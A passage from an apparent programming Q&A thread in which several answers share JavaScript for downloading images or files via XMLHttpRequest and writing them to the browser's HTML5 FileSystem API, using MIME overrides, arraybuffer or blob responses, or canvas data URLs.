});
The problem is that browser will parse xhr response data as UTF-8,
So the point is to override MimeType:
window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem;
var xhr = new XMLHttpRequest();
var photoUrl = 'http://localhost:3000/image.jpg';
xhr.open('GET', photoUrl, true);
// This stops the browser from parsing the data as UTF-8:
xhr.overrideMimeType('text/plain; charset=x-user-defined');
function stringToBinary(response) {
var byteArray = new Uint8Array(response.length);
for (var i = 0; i < response.length; i++) {
byteArray[i] = response.charCodeAt(i) & 0xff;
}
return byteArray
}
function onInitFs(fs) {
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
fs.root.getFile('image.jpg', {'create': true}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.onwriteend = function(event) {
$('body').append('<img src="' + fileEntry.toURL() + '"/>');
}
buffer = stringToBinary(xhr.response);
var blob = new Blob([ buffer ], { type: 'image/jpeg' } )
fileWriter.write(blob);
}, errorHandler );
});
}
}
xhr.send();
}
var errorHandler = function(err) {
console.log(err);
}
$(function() {
webkitStorageInfo.requestQuota(PERSISTENT, 5*1024*1024, function(grantedBytes) {
requestFileSystem(PERSISTENT, grantedBytes, onInitFs, errorHandler)
}, errorHandler)
})
Here the function I use.
It use Blob constructor so it works on latest Chrome (thats lacks deprecated BlobBuilder) and works also on old iOS 6 that lacks 'blob' for xhr.responseType.
In comments you also see code for the deprecated BlobBuilder.
Notice: you are using XHR so CORS must be enabled!
window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem;
window.requestFileSystem(window.PERSISTENT, 2*1024*1024, onFileSystemSuccess, fail);
function onFileSystemSuccess(fileSystem) {
fs = fileSystem;
console.log('File system initialized');
saveAsset('http://www.example-site-with-cors.com/test.png');
}
function saveAsset(url, callback, failCallback) {
var filename = url.substring(url.lastIndexOf('/')+1);
// Set callback when not defined
if (!callback) {
callback = function(cached_url) {
console.log('download ok: ' + cached_url);
};
}
if (!failCallback) {
failCallback = function() {
console.log('download failed');
};
}
// Set lookupTable if not defined
if (!window.lookupTable)
window.lookupTable = {};
// BlobBuilder shim
// var BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder || window.MSBlobBuilder;
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
// xhr.responseType = 'blob';
xhr.responseType = 'arraybuffer';
xhr.addEventListener('load', function() {
fs.root.getFile(filename, {create: true, exclusive: false}, function(fileEntry) {
fileEntry.createWriter(function(writer) {
writer.onwrite = function(e) {
// Save this file in the path to URL lookup table.
lookupTable[filename] = fileEntry.toURL();
callback(fileEntry.toURL());
};
writer.onerror = failCallback;
// var bb = new BlobBuilder();
var blob = new Blob([xhr.response], {type: ''});
// bb.append(xhr.response);
writer.write(blob);
// writer.write(bb.getBlob());
}, failCallback);
}, failCallback);
});
xhr.addEventListener('error', failCallback);
xhr.send();
return filename;
}
function fail(evt) {
console.log(evt.target.error.code);
}
On a modern browser supporting XMLHttpRequest Level 2 the method documented in this answer should work.
The relevant standard is explained in this blog post
The trick is to use xhr.responseType = 'blob'
var fs = .... // your fileSystem
function download(fs,url,file,win,fail) {
var xhr = new XMLHttpRequest();
xhr.open('GET', url);
xhr.responseType = "blob";
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if(xhr.status === 200){
fs.root.getFile(file,{create:true},function(fileEntry){
fileEntry.createWriter(function(writer){
writer.onwriteend = win;
writer.onerror = fail;
writer.write(xhr.response);
})
},fail)
} else {
fail(xhr.status);
}
}
};
xhr.send();
return xhr;
};
Based on cordova-promise-fs (disclosure: I'm the author)
I find a way to do this.
use canvans.toDataURL to transfer data format.
var img = new Image();
var cvs = document.createElement('canvas');
var ctx = cvs.getContext("2d");
img.src = file;
img.onload = function(){
cvs.width = img.width;
cvs.height = img.height;
ctx.drawImage(img, 0, 0);
var imd = cvs.toDataURL(contentType[extname]);
var ui8a = convertDataURIToBinary(imd);
var bb = new BlobBuilder();
bb.append(ui8a.buffer);
fs.root.getFile(path, {create: true}, function(fileEntry) {
// Create a FileWriter object for our FileEntry (log.txt).
fileEntry.createWriter(function(fileWriter) {
fileWriter.onwriteend = function(e) {
console.log('Write completed.');
callback && callback("test.jpg");
};
fileWriter.onerror = function(e) {
console.log('Write failed: ' + e.toString());
};
fileWriter.write(bb.getBlob(contentType[extname]));
});
});
};
function convertDataURIToBinary(dataURI) {
var BASE64_MARKER = ';base64,';
var base64Index = dataURI.indexOf(BASE64_MARKER) + BASE64_MARKER.length;
var base64 = dataURI.substring(base64Index);
var raw = window.atob(base64);
var rawLength = raw.length;
var array = new Uint8Array(new ArrayBuffer(rawLength));
for (i = 0; i < rawLength; i++) {
array[i] = raw.charCodeAt(i);
}
return array;
}
I get help from here jsfiddle